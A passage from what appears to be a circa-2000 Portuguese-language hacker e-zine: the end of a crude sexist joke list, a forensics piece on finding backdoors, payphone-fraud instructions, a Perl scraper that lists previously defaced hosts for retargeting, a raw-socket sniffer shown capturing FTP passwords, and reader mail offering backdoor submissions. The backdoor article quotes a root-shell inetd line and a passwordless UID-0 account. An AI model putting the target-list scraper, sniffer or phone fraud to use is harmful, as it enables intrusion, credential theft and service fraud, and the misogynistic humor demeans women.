coisa errada no lugar errado.
Terceiro, por que a gente n„o È abelha e n„o gosta de cera!

3.5 N„o nos lambuze, para sua prÛpria sa˙de. Alguns cosmÈticos s„o para
uso externo apenas.
E tem cosmÈtico para uso interno? Que eu saiba, vaselina n„o È cosmÈtico...

3.6 N„o È n„o.
Isso È bastante lÛgico! N„o tire, n„o pare...

3.7 N„o nem sempre È n„o. VocÍ tem que adivinhar.
Temos que adivinhar uma ova! … sÛ procurar uma mulher menos histÈrica!

3.8 Dois n„os È N√O MESMO.
Dois n„o È sim, como as leis da lÛgica ensinam. Mas damos um desconto,
afinal, esperar lÛgica de uma mulher seria demais...

3.9 Abrace-nos. Todas as mulheres gostam de abraÁos. Se possÌvel,
carregue-nos no colo. Isso nos mostrar· que nosso regime valeu a
pena.
E, principalmente, poupar· a sola dos sapatos que vocÍs tanto adoram.

3.10 Jamais nos carregue no colo se existir alguma chance de vocÍ
desistir na metade do caminho. Isso È o fim.
Nisso concordamos. Realmente, uma queda de bunda no ch„o È muito pouco
rom‚ntico e acabaria de vez com nosso tes„o!

3.11 Muitas mulheres gostam de barba-por-fazer. Mas lembre-se dela ao
dar um beijo empolgado na mulher. N„o queremos sair de um beijo
parecendo o Bozo.
A gente lembra, sim. O importante pra nÛs È que vocÍs se sintam umas
palhaÁas depois de serem comidas!

3.12 Se formos no banheiro, aguarde quietinho no lugar.
Com certeza aproveitaremos ao m·ximo essa chance de ficarmos sozinhos e
em paz...

3.13 Se vocÍ deixou de cumprir as regras desse item e formos no banheiro,
pode ir embora, porque n„o voltaremos.
Pode ter certeza que irei embora se VOC estiver cumprindo a regra, pois
isso anula a chance de transar e esse È o meu ˙nico interesse por vocÍ!




4. A DESPEDIDA

4.1 Fique conosco na fila para pagar.
Com muito prazer, nada mais gostoso que uma boa encoxada na fila...

4.2 Pague.
SÛ se valer a pena! A Lei do Consumidor È clara...

4.3 SEMPRE pegue nosso telefone.
OK, se isso for t„o importante para vocÍ, a gente pega, nem que seja
para fazer um trote de vez em quando ou para trocar com outros caras,
vocÍ sabe, tem gosto para tudo e o que È uma baranga para um pode ser
uma gostosa para outro, dependendo da necessidade...

4.4 Cuidado com as luzes da saÌda. Olhando bem para vocÍ, podemos nos
decepcionar. Prefira as sombras.
A recÌproca È verdadeira...

4.5 Depois que formos, pense em nÛs. A mulher È extremamente intuitiva
e percebe se vocÍ a esqueceu assim que virou as costas.
E se a gente pensa em vocÍs e morre de rir, vocÍs tambÈm percebem?




5. A CONTINUIDADE

5.1 Ligue NO DIA SEGUINTE.
Ok, nÛs somos cavalheiros e ligamos, mas... uma dica: se a ligaÁ„o for
a cobrar, È sinal de pouco interesse...

5.2 Puxe a conversa e, depois, n„o se preocupe: gostamos MESMO de falar.
Fale tudo o que quiser e o tempo que quiser... mas n„o se esqueÁa que
nÛs gostamos MESMO È de transar!

5.3 N„o fale "adivinha quem È". A gente sempre sabe quem È. E se n„o
soubermos por algum motivo, n„o vai ser legal errar o nome...
Tudo bem, mas a gente nem sempre lembra com quem esteve a noite anterior!
Para evitar constrangimentos, seria interessante vocÍs darem algumas
dicas pra gente se lembrar de vocÍs, como hor·rio exato em que a gente
se encontrou, idade, altura, peso, cor de cabelos etc...

5.4 Se vocÍ ligou e deu engano, provavelmente era essa a intenÁ„o. Sim,
nÛs damos telefone errado.
Isso pode acabar sendo um golpe de sorte pra nÛs... quem sabe, no
telefone errado n„o atenda a pessoa certa!

5.5 Chame-nos para sair novamente, marcando hora, dia e lugar. Largue a
m„o de ser banana!
Pode ter certeza que ligarei, marcando hora, dia, lugar e roupa que vocÍ
deve vestir... isso atÈ te comer pela primeira vez, depois vocÍ danÁa!

5.6 Esteja certo de que seu carro n„o fede.
N„o se preocupe, eu mando dedetizar o carro toda vez que saio com uma
vagabunda!



www.humortadela.com.br










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 14 - Achando rastros de ~YXXXXx_
_xXXXXXX( um ataque )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


Voce pode tar pensando... bah! Outro texto sobre security que o kra vai
falar as mesmas coisas que os outros ja falaram. Bem... talvez voce esteja
certo, mas sempre c encontra algo novo nestes como este e como este texto
foi escrito somente com a experiencia q eu tenho, e nao baseado em nenhum
outro. Eh capaz de voce aprender o suficiente para um texto.
Okay... com base de experiencia propria e de outros ataques vou mostrar
aos admins como encontrar rastros (progs, backdoors, etc) que um hacker
pode ter deixado apos 0wnar seu sistema.
Vamos estudar os rastros atraves do nivel de conhecimento que o
invasor possui...



1. Lamer.
Nao se preocupe... Sera muito facil encontrar rastros deixados por um
lamer. Primeiro porque lamers soh sabem fazer o que as receitas mostram,
eles nao se preocupam em variar as tecnicas usadas. Entao o que voce vai
encontrar vai ser exatamente como esta nos txts.
Vamos ver...
A backdoor mais lamah possivel voce pode encontrar no /etc/passwd.

[root@localhost /etc]# grep ":0:0:" /etc/passwd
root:x:0:0:root:/root:/bin/bash
lamah::0:0::/:/bin/sh

Ok... achamos nosso lamer...
Vamos ver c ele nao deixou outras backdoors aki...
Outras 2 backdoors comums sao suidshell e inetdaemon. Para acha-las...

[root@localhost /etc]# grep "sh" /etc/inetd.conf
courier stream tcp nowait root /bin/sh sh -i

Uma variacao desta pode ser...

[root@localhost /etc]# grep "\-i" /etc/inetd.conf 
swat stream tcp nowait root /usr/sbin/swat swat -i

Veja q o servico esta chamando o /usr/sbin/swat com os mesmos atributos
do /bin/sh. Vamos conferir para ver c swat == sh.

[root@localhost /etc]# ls /bin/*sh
/bin/ash /bin/bsh /bin/ksh /bin/tcsh
/bin/bash /bin/csh /bin/sh /bin/zsh
[root@localhost /etc]# cmp -c /bin/ash /usr/sbin/swat
/bin/ash /usr/sbin/swat differ: char 25, line 1 is 20 ^P 220 M-^P
[root@localhost /etc]# cmp -c /bin/bash /usr/sbin/swat
[root@localhost /etc]#

Aha!!!
Soh pra quem nao sabe... cmp serve para comparar arquivos.
Comente a linha no inetd.conf e reinicie o inetd.
Para achar suidshells use:

[root@localhost /]# find / -type f \( -perm -04000 -o -perm -02000 \) -user root

Vai ser exibido uma lista com todos os arquivos suids com owner root.
Cabe a voce saber o que eh programa do linux e o que foi criado pelos
usuarios.
Uma dica... eh comum deixar as suidshells no mesmo diretorio onde eles
deixam seus programas tais como xploits, sniffers e clearlogs.
Outra coisa... os diretorios usados sao na maioria das vezes os com
permissao de all+rwx como /tmp e /var/tmp ou nos homedirs. Tambem ha a
posibilidade deles criarem os dir por issu voce pode procurar por estes
com o comando:

[root@localhost /etc]# find / -type d -perm 0777

Outro detalhe... Esses lamahs vao provavelmente rodar um portscan
qualquer no seu host por issu voce pode acha-lo no log do syslogd
(/var/logs/messages) caso ele nao tenha sido modificado.
Procure tambem nos ~/.history's e nos wtmp, utmp e lastlog. Lamers
nunca dao muita importancia aos logs.



2. Hacker Beginner.
Este vai se parecido com o lamer qto ao fato dos diretorios... Ele
precisa de um lugar para por seus arquivos. Ache o diretorio e voce acha o
hacker. Mas neste caso isto pode se tornar mais dificiu.
Caso o diretorio criado seja rwxr-xr-x como acha-lo???
Procure por sources de programas e se nao encontra-los tente usar:

[root@localhost nix]# strings a.out |grep /bin/sh
/bin/sh

Issu serve para encontrar xploits ja que todos xploits tem esta string
pois eh o que eles executam. Procure-os nos homedirs e tmps tambem.
Arquivos ocultos sao muito usados.
Existem programas q fazem busca de sniffers por devices. Rode-o e veja
se nao encontra nada suspeito. Rode tambem programas que procuram por logs
apagados pelo zap. Issu eh salvo caso o hacker tenha usado a minha versao
do zap alterado. =)
Um hacker nao lamer no minimo iria colocar uma binder no seu sistema.
Para acha-lo use:

[root@localhost /root]# lsof -i

Com isso sera listada todas as portas que estao sendo usadas. Procure
por algo suspeito como...

a.out 3454 root 3u inet 84061 TCP *:31337 (LISTEN)



3. Hacker eleet.
Esquece. Se o hacker q ownou vc for mesmo eleet torna-se praticamente
impossivel de voce encontra-lo. Mas existe certas prevencoes que vc pode
fazer para detectar a presenca dele.
Uma das coisas eh fazer backup dos logs toda a vez que alguem se logar.
Crie uma particao somente para os logs.
Coloque no /etc/.bash_profile:

#mude aki de acordo com a particao...
mount /dev/hda2 /mnt
d=`date --date "\`date |cut --bytes=5-10\`" +%j`
cp -f /var/run/utmp /mnt/utmp.$d
cp -f /var/log/lastlog /mnt/lastlog.$d
cp -f /var/log/wtmp /mnt/wtmp.$d
cp -f /var/log/messages /mnt/messages.$d
cp -f ~/.bash_history /mnt/history.$USER.$d
umount /mnt

Pronto. Toda a vez q vc logar os arquivos de logs serao copiados para
a particao indicada. Sera criado um arquivo diferente para cada dia,
para que voce possa comparar os dados e encontrar alguma alteracao feita.

Bah! Chega! Nao aguento mais escrever. Ainda mais um texto todo
desestruturado como esse entao por hj eh soh.











_xXXXP^'' ``^YXXXx_
_xXXXXP~ 15 - Fraudando Orelhoes ~YXXXXx_
_xXXXXXX( a cartao )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ TPGA _dXXXXP~
~YXXXbx.. ..xdXXXP~


Primeiramente gostaria de agradecer ao struck a oportuninade de escrever
esta humilde materia para essa excelente zine, esta t3ckn33k foi elaborada
por mim com intuito de colocar aqui na net algo que realmente funciona-se,
pois nunca encontrei nada sobre ligacoes infinitas que funcione corretamente.
Agora vamos ao que interessa e sem arrodeios.

Start:

-----------
Igredientes
-----------
1 - uma Lata de refrigerante ou cerveja
2 - algo cortante Ex.: Serra, Faca, tesoura, canivete
3 - Cuidado para nao se cortar :)

Depois de ter arrumado to este material secreto, faca assim:

Corte um pedaco da lata (tipo uma tira)

Tira metalica
|==================================|
+/- Tamanho | |
============> | |
| |
|==================================|


IMPORTANTE: O comprimento da tira tem que ser maior do que a do cartao
telefonico comum.


Coloque a porra do pedaco como se fosse um cartao normal, depois de posto note
que vai ficar sobrando uma parte da tira do lado de fora, em seguida pegue o
fio metalico do gancho e encoste na parte do pedaco que ficou sobrando, agora
disque pra o numero desejado, quando a pessoa atender desencoste o fio da lata
depois de uns 3 minutos toque a lata novamente com o fio, isso fara com que a
lata fique novamente magnetizada.

(Obeserve que ficara um ruidinho assim zuuuuuummmmmmm ).

OBS: Em alguns orelhoes nao funciona :(

Obrigado e t+










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 16 - Attrition Scan ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


Bem...
Tendo em vista q a maioria dos hosts hackeados nao se atualizam contra
as mesmas falhas usadas pelos invasores, decidi fazer este programinha que
busca por hosts defacementeds na attrition.
Este scan cria uma host-list de acordo com o sistema q vc indicar e
estiver salvo na attrition. Eh facil de usar e nao vou fikar perdendo
tempo explicando.

<++> attr/at-scan.pl
#!/usr/bin/perl
#
# Attrition Host Scanner
# by Cheat Struck - cszine@xoommail.com
#
# Este programa scaneia hosts no site da attrition e faz um host list.
# O programa ainda esta meio instavel mas funfa.
# Apenas hosts com os systemas identificados na attrition serao scaneados.
#
#

$host = "www.attrition.org";
get = "GET /mirror/attrition/\n\n";
#$get = "GET /mirror/attrition/2000-01.html\n\n";
#$get = "GET /mirror/attrition/2000-02.html\n\n";
#$get = "GET /mirror/attrition/2000-03.html\n\n";
#$get = "GET /mirror/attrition/2000-04.html\n\n";
#$get = "GET /mirror/attrition/2000-05.html\n\n";
#$get = "GET /mirror/attrition/2000-06.html\n\n";

use Socket;

print "Attrition Host Scanner";
print "\nby Cheat Struck \<cszine\@xoommail.com\>\n\n";
if ($ARGV[0] eq '') {
print "Usage: atscan.pl \<sys\>\n";
print "\n Sys:";
print "
1 - Linux (rh, slack, suse, caldera, mandrake, debian, others);
2 - BSD (FreeBSD, OpenBSD, NetBSD, BSDI, Power BSD);
3 - Windows (NT, 95, 98, 2000);
4 - SunOS (Solaris, SCO);
5 - MAC (MacOS, MacOSX);
6 - Unix (DigitalUnix, Compaq Tru64 Unix, Generic Unix);
7 - MAC (MacOS, MacOSX);
8 - HPUX;
9 - Irix;
10 - Aix;
11 - NetWare;
12 - Digital OSF1;
13 - *NIXES;
14 - All;

\n";

exit;
}

$sys = $ARGV[0];
$p = 80;
$proto = getprotobyname('tcp');

&connection;
&data1;
close S;



sub gethost
{
do{
$i++;
}while(substr($temp,$i-17,17) ne "(\<a href=\"http://");
$l=$i;
do{
$l++;
# printf("%s",substr($temp,$l,1));
}while(substr($temp,$l-2,2) ne "\"\>");
if(substr($temp,$l-3,1) ne "/") {
printf("%s\n",substr($temp,$i,$l-$i-2));
}
else {
printf( "%s\n" , substr($temp, $i, $l-$i-3) );
}

}

sub connection
{
$in_addr = (gethostbyname($host));
$addr = sockaddr_in($p,$in_addr);
socket(S, AF_INET, SOCK_STREAM, $proto) || die "Can't open socket";
connect(S,$addr) || die "Can't Connect...";
send (S,$get,0) || die "Can't send...";
}

sub data1
{

$i=0; $temp="";
do{
read(S, $var1, 1) || die "Can't Read";
$temp="$temp$var1"; $i++;

}while(substr($temp,$i-7,7) ne '</html>');
for($i=0; $i < length($temp); $i++) {
if($sys == 1) { &linuxscan; }
if($sys == 2) { &bsdscan; }
if($sys == 3) { &winscan; }
if($sys == 4) { &sunscan; }
if($sys == 5) { &macscan; }
if($sys == 6) { &unixscan; }
if($sys == 7) { &macscan; }
if($sys == 8) { &hpscan; }
if($sys == 9) { &irixscan; }
if($sys == 10) { &aixscan; }
if($sys == 11) { &nwscan; }
if($sys == 12) { &osscan; }
if($sys == 13) { &nixes; }
if($sys == 14) { &all; }
}

}

sub linuxscan
{
if(substr($temp,$i-2,2) eq "Li" ||
substr($temp,$i-2,2) eq "Lr" ||
substr($temp,$i-2,2) eq "Ls" ||
substr($temp,$i-2,2) eq "Lu" ||
substr($temp,$i-2,2) eq "Lc" ||
substr($temp,$i-2,2) eq "Lm" ||
substr($temp,$i-2,2) eq "Lb" ||
substr($temp,$i-2,2) eq "La" ||
substr($temp,$i-2,2) eq "Ld" ) {
&gethost;
}


}
sub bsdscan
{
if(substr($temp,$i-2,2) eq "Bf" ||
substr($temp,$i-2,2) eq "Bo" ||
substr($temp,$i-2,2) eq "BO" ||
substr($temp,$i-2,2) eq "Bn" ||
substr($temp,$i-2,2) eq "BI" ||
substr($temp,$i-2,2) eq "Bi" ||
substr($temp,$i-2,2) eq "Bp" ) {
&gethost;
}
}
sub winscan
{
if(substr($temp,$i-2,2) eq "NT" ||
substr($temp,$i-2,2) eq "Nt" ||
substr($temp,$i-2,2) eq "2k" ) {
&gethost;
}
}
sub sunscan
{
if(substr($temp,$i-2,2) eq "So" ||
substr($temp,$i-2,2) eq "Sc" ) {
&gethost;
}
}
sub macscan
{
if(substr($temp,$i-2,2) eq "Mo" ||
substr($temp,$i-2,2) eq "MO" ||
substr($temp,$i-2,2) eq "Mx" ||
substr($temp,$i-2,2) eq "MX" ) {
&gethost;
}
}
sub unixscan
{
if(substr($temp,$i-2,2) eq "DG" ||
substr($temp,$i-2,2) eq "Dg" ||
substr($temp,$i-2,2) eq "C6" ||
substr($temp,$i-2,2) eq "UN" ||
substr($temp,$i-2,2) eq "Un" ) {
&gethost;
}
}
sub hpscan
{
if(substr($temp,$i-2,2) eq "HP" ||
substr($temp,$i-2,2) eq "Hp" ) {
&gethost;
}
}
sub irixscan
{
if(substr($temp,$i-2,2) eq "Ir" ||
substr($temp,$i-2,2) eq "IR" ) {
&gethost;
}
}
sub nwscan
{
if(substr($temp,$i-2,2) eq "NW" ||
substr($temp,$i-2,2) eq "Nw" ) {
&gethost;
}
}
sub aixscan
{
if(substr($temp,$i-2,2) eq "Ax" ||
substr($temp,$i-2,2) eq "AX" ) {
&gethost;
}
}
sub osscan
{
if(substr($temp,$i-2,2) eq "OS" ||
substr($temp,$i-2,2) eq "Os" ) {
&gethost;
}
}

sub nixes {
if(substr($temp,$i-2,2) eq "Li" ||
substr($temp,$i-2,2) eq "Lr" ||
substr($temp,$i-2,2) eq "Ls" ||
substr($temp,$i-2,2) eq "Lu" ||
substr($temp,$i-2,2) eq "Lc" ||
substr($temp,$i-2,2) eq "Lm" ||
substr($temp,$i-2,2) eq "Lb" ||
substr($temp,$i-2,2) eq "La" ||
substr($temp,$i-2,2) eq "Ld" ||
substr($temp,$i-2,2) eq "Bf" ||
substr($temp,$i-2,2) eq "Bo" ||
substr($temp,$i-2,2) eq "BO" ||
substr($temp,$i-2,2) eq "Bn" ||
substr($temp,$i-2,2) eq "BI" ||
substr($temp,$i-2,2) eq "Bi" ||
substr($temp,$i-2,2) eq "Bp" ||
substr($temp,$i-2,2) eq "So" ||
substr($temp,$i-2,2) eq "Sc" ||
substr($temp,$i-2,2) eq "DG" ||
substr($temp,$i-2,2) eq "Dg" ||
substr($temp,$i-2,2) eq "C6" ||
substr($temp,$i-2,2) eq "UN" ||
substr($temp,$i-2,2) eq "Un" ||
substr($temp,$i-2,2) eq "HP" ||
substr($temp,$i-2,2) eq "Hp" ||
substr($temp,$i-2,2) eq "Ir" ||
substr($temp,$i-2,2) eq "IR" ||
substr($temp,$i-2,2) eq "Ax" ||
substr($temp,$i-2,2) eq "AX" ) {
&gethost;
}

}
sub all {
if(substr($temp,$i-2,2) eq "Li" ||
substr($temp,$i-2,2) eq "Lr" ||
substr($temp,$i-2,2) eq "Ls" ||
substr($temp,$i-2,2) eq "Lu" ||
substr($temp,$i-2,2) eq "Lc" ||
substr($temp,$i-2,2) eq "Lm" ||
substr($temp,$i-2,2) eq "Lb" ||
substr($temp,$i-2,2) eq "La" ||
substr($temp,$i-2,2) eq "Ld" ||
substr($temp,$i-2,2) eq "Bf" ||
substr($temp,$i-2,2) eq "Bo" ||
substr($temp,$i-2,2) eq "BO" ||
substr($temp,$i-2,2) eq "Bn" ||
substr($temp,$i-2,2) eq "BI" ||
substr($temp,$i-2,2) eq "Bi" ||
substr($temp,$i-2,2) eq "Bp" ||
substr($temp,$i-2,2) eq "So" ||
substr($temp,$i-2,2) eq "Sc" ||
substr($temp,$i-2,2) eq "DG" ||
substr($temp,$i-2,2) eq "Dg" ||
substr($temp,$i-2,2) eq "C6" ||
substr($temp,$i-2,2) eq "UN" ||
substr($temp,$i-2,2) eq "Un" ||
substr($temp,$i-2,2) eq "HP" ||
substr($temp,$i-2,2) eq "Hp" ||
substr($temp,$i-2,2) eq "Ir" ||
substr($temp,$i-2,2) eq "IR" ||
substr($temp,$i-2,2) eq "Ax" ||
substr($temp,$i-2,2) eq "AX" ||
substr($temp,$i-2,2) eq "NT" ||
substr($temp,$i-2,2) eq "Nt" ||
substr($temp,$i-2,2) eq "2k" ||
substr($temp,$i-2,2) eq "Mo" ||
substr($temp,$i-2,2) eq "MO" ||
substr($temp,$i-2,2) eq "Mx" ||
substr($temp,$i-2,2) eq "MX" ||
substr($temp,$i-2,2) eq "NW" ||
substr($temp,$i-2,2) eq "Nw" ||
substr($temp,$i-2,2) eq "OS" ||
substr($temp,$i-2,2) eq "Os" ) {
&gethost;
}

}

<-->










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 17 - Sniffing Simples ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


Todos sabem o que eh sniffar uma maquina nao?? Interceptar pacotes
enviados de uma maquina `a outra...
Os sniffer atuais o que fazem eh sniffar uma interface (tipo eth0) e
gravar dados importantes tipo login/pass. A tecnica que vou mostrar aki eh
mais simples, ja que este texto serve apenas como introducao ao sniffing.
O que vou fazer aki eh usar o recvfrom() no tcp para exibir todo o
conteudo dos pacotes recebidos por este protocolo, seja em ftp, telnet,
smtp, etc...
O programa q eu fiz ainda eh muito simples mas voce pode usa-lo tanto
para um ataque (caso outros sniffers nao estejam compilando) qto para
vijiar o que os outros estao fazendo na sua maquina.
Vejamos...

~# ./sniff

Em outra shell...

~$ ftp 127.0.0.1
Connected to 127.0.0.1.
220 localhost.localdomain FTP server (Version wu-2.4.2-academ[BETA-18](1)
sex dez 11 14:30:11 EDT 1998) ready.
Name (127.0.0.1:lamah): struck
331 Password required for struck.
Password:
230 User struck logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quit
221 Goodbye.

Voltando a 1a shell...

~# ./sniff
220 localhost.localdomain FTP server (Version wu-2.4.2-academ[BETA-18](1)
sex dez 11 14:30:11 EDT 1998) ready.
USER struck
331 Password required for struck.
PASS struck
230 User struck logged in.
SYST
215 UNIX Type: L8
QUIT
221 Goodbye.

Blza! Tipo... Voce pode usa-lo no telnet e vigiar o que seus usuarios
estao fazendo no momento. Porem Caso muitas pessoas estejam conectadas os
pacotes ficarao misturados e fika mais dificio de entender quem esta
fazendo cada coisa... O mesmo pode acontecer caso conectem-se por telnet e
ftp simultaneamente. Por isso o melhor eh utiliza-lo apenas qdo 1 unico
usuario estiver conectado em outros casos existem programas tipo telnetsnoop
que fazem isso.
Ah! SSH nao pode ser sniffado pois os pacotes sao criptografados.
Para parar o sniffer de Ctrl+C.

<++> sniff/sniff.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/ip.h>
#include <netdb.h>

int main(int argc, char *argv[]) {
struct protoent *p;
struct sockaddr_in fr0m;
int tam, size;
char *pkt[4096];
int s0ck;

p = getprotobyname("tcp");
if ((s0ck = socket(AF_INET, SOCK_RAW, p->p_proto)) == -1) return 0;

do {
memset(&pkt,0x00,sizeof(pkt));
tam = sizeof(fr0m);
size = recvfrom(s0ck,pkt,sizeof(pkt),0,(struct sockaddr *)&fr0m,&tam);
printf("%s", &pkt[13]);
} while (!0);
}
<-->










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 18 - Mais 1 programa ~YXXXXx_
_xXXXXXX( l33t )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Anonymous _dXXXXP~
~YXXXbx.. ..xdXXXP~


Este programa eh tao el8 que achei que seria muita sakanagem identificar
o autor pq dae sua mailbox iria encher tanto com gente elogiando seu programa
que ele fikaria puto cumigo.
Mas o que o programa faz afinal??? Bem... ele faz simplesmente magica!
Aproveitem entao...

<++> Superprogs/magico.c
#include <stdio.h>
char nome[100];
int idade;

main(int argc, char **argv[]){
if (argc >= 2) {
printf("Use %s \n\r",argv[0]);
exit(0);
}
printf("Oi, eu sou um programinha mahgico!\n\r");
printf("Digite seu nome: ");
scanf("%s",nome);
printf("Digite sua idade: ");
scanf("%d",&idade);
printf("\n\rAGORA O MAIS INCRIVEL!\a\a\a\a");
system("clear");
printf("\n\rSEU NOME EH %s E VOCE TEM %d ANOS!!!",nome,idade);
printf("\n\rPrograma Magico Versao Beta By encxxxxx! encxxxxx@xxxxxxx.com\n\r");
printf("\n\rTCHAU FOFFYS PEOPLE!\n\r");
}
<-->












_xXXXP^'' ``^YXXXx_
_xXXXXP~ 19 - Emails ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


Hm... Agora sim chegou cartas...



=======================
=======================
=======================

To: <cszine@xoommail.com>
From: **********<********@bol.com.br>
Subject: Fatar Error
Date: Wed, 7 Jun 2000 15:35:04 -0300


Opa !

Fala Struck !
Blza kra ?
Tipo vÈio, achei d+ sua zine, muito boa mesmo ......
gostei alem do mais, pq eu lih jah toda as coisas que vc
jah escreveu, desde a cs zine 01 ateh a f3 01 ... e vih
a sua evolucao, etc...
sinceramente, nao tenho do que reclamar, por que tudo o
que foi escrito eh supimpa !
Se vc ceder um espaco, eu escrevo algo pra zine ...
Tudo bem que a gente nao paga assinatura da f3, mas ve
se lanca novas edicoes com menor espaco de tempo entre
elas, se bem que nao posso falar muito, por causa da
s13...


aquilo q vc pois dos email do cliptor, eu desconfiava
desde o inicio heheheeh .... mas veja bem, de um lado
ele estah certo neh hehehe .... mas por outro lado,
email nao tem lado, entao fica assim..

Acho que bebi d+ ..... to muito animado ... ve se dah um
pulinho naquele canal (num vou querer fazer prop.) ...

[] 's

----------------------------------------

Aee!!! Legal eu descobrir q tem gente q acompanha minha "carreira"
desde os 13 (ou 14) anos. C forem reler as 1as edicoes da zine podem ver
q eu era um bosta e por issu achava q nao havia feito mto sucesso. Mas
vejo q tava errado.
Sobre o cliptor... sem comentarios... ele fiko puto cumigo. hehehe.
Ah! tipo, a zine demora pq eu tenhu uma vida pra viver... Mesmo sendo
vagabundo eu tenhu meus compromissos entao como a zine eh apenas um passa-
tempo e nao um trabalho, escrevo ela com calma sem stress q dae fika AWS!
Beber rlz!!!





=======================
=======================
=======================

To: <cszine@xoommail.com>
From: ******@linuxbr.com.br
Date: Dom, 11 Jun 2000 0:59:27 GMT -3
Subject: Ultima tentativa

Cheat Struck, seu viado:
Pq tu nunca mais me respondeu ? Viro mascarado :D ?
Essa eh a ultima vez q tanto falar contigo..
VE SE RESPONDE PORRA

-----------------------

Nao eh culpa minha. Meu ex-email tava cum pau. =)
Tenta mandar dinovo q achu q ja ta arrumado...




=======================
=======================
=======================

To: <cszine@xoommail.com>
From: ********<******@bol.com.br>
Date: Mon, 19 Jun 2000 03:36:50 -0300
Subject: Tudo bom

Ae mano beleza?

Eu tava na net procurando uns zines e achei o seu e lir
aquela sua biografia hehehe
poxa mano tipo.. ganhei o computa na mesma epoca que vc
... comecei a me interessar por
hacking tem pouco tempo... mais nao estou me dando bem
pq deparo com um bando de egoitas que pensam que ue
quero saber as receitinhas de bolo entende... vc teve a
sorte de conhecer
cars legais e ir aprendendo aos pouco com eles.. tipo
man.. to ae com 17 anos hehe quero me especializar em
"hacking" e vi que vc È uma pessoa que pode me ajudar..
pq vc num parece egoista e tauz.. mais como eu disse..
n„o quero que vc me de receitinhas de nada.. sÛ quero me
tornnar seu amigo.. e vc me guie pro caminho.. o resto
eu do meus pulo :)
espero que vc me entenda mano.. pq vc j· deve ter
passado por isso
um abraÁo brother t+

Estou esperando sua resposta bye!!


-----------------------

1. Conheci sim gente legal, mas tbm conheci uns puto ae.
Acontece q o que eu aprendi nao foi com esses kras e sim com
textos q fui lendo;
2. Eu posso ajudar atravez desta zine. Nao vou fikar dando
aulas particulares pq nao ganho pra isso;
3. Nao gosto de ter amigos somente por interesse;
4. Pra finalizar.. uma dica: C ta buscando infos no lugar
errado, pq ninguem gosta de ser interrompido no irc para ter
q explicar as coisas. Procure por textos q falem sobre o que
voce quer saber. Ou assine listas de discussoes.




=======================
=======================
=======================

To: <cszine@xoommail.com>
From: ************ <*********@zipmail.com>
Subject: sobre a zine
Date: Sat, 10 Jun 2000 19:47:36 -0400


Ol· meu rei, meu nome È Alan.
Ficou feliz por ver que a Internet brasileira n„o sÛ tem
"hackers" copiadores de idÈias. Gostei da sua iniciativa!

Manow, sinceramente, achava que aquela m„ozinha que est· na
ediÁ„o 0, fica melhor para separar as seÁıes. Acho que os
seus leitores potenciais est„o cansados e com sono, quando
estao lendo. Assim a m„ozinha serve pra destacar decente.

Na seÁ„o de fotos, n„o entendi. Aquelas gatas cujos nomes
est„o como Cacaio, Spike, etc. S„o as gatas dos caras, ou
voc est· fazendo parÛdia com os caras (cacaio, spike, etc)

Estou bem atrasado em nÌvel de hacker, estou me redimindo.
Tou com as classicas zines hacker (DK, Phone9, etc). Tou
criando um site pra galera que assim como eu quer se
iniciar, mas est· cansada das copilaÁıes de textos e idÈias
dos outros. Vou por um link do seu site no meu. Certo?
Foi manow!


-----------------------

Hehe... Voce foi o primeiro a elogiar a "maozinha". Achu q o
resto dos leitores nem liga muito para esses detalhes na zine.
Sobre a secao fotos... a principio eu tinha colocado lah a
foto original de todos mas ninguem queria aparecer nakela coisa
ridicula entao pediram pra tira-las. Soh troquei as foto... fikou
mais podre ainda... =)
Valew pelo link... qto mais divulgada a page melhor.
Falow!



=======================
=======================
=======================

To: <cszine@xoommail.com>
From: ********** <**********@ig.com.br>
Subject: Materia para a F3 zine
Date: Wed, 26 Apr 2000 07:06:18 -0300

ae kra, vai anexo a essa msg 4 arquivos para servirem como mate'ria
para a F3 zine...

sao 2 materias: uma sobre backdoors em LKMs e a outra sobre um prg
que fiz, uma backdoor que a gente troca pelo ping do Linux...
O texto ja' ta' ate' formatado pro "padrao" da zine, e so copiar e colar
na zine, ok???

a proposito, se puder me indicar algum canal onde posso trocar umas ideias
com outras pessoas ( nada daquele papo de "ah to com um cliente de NetBUS pra
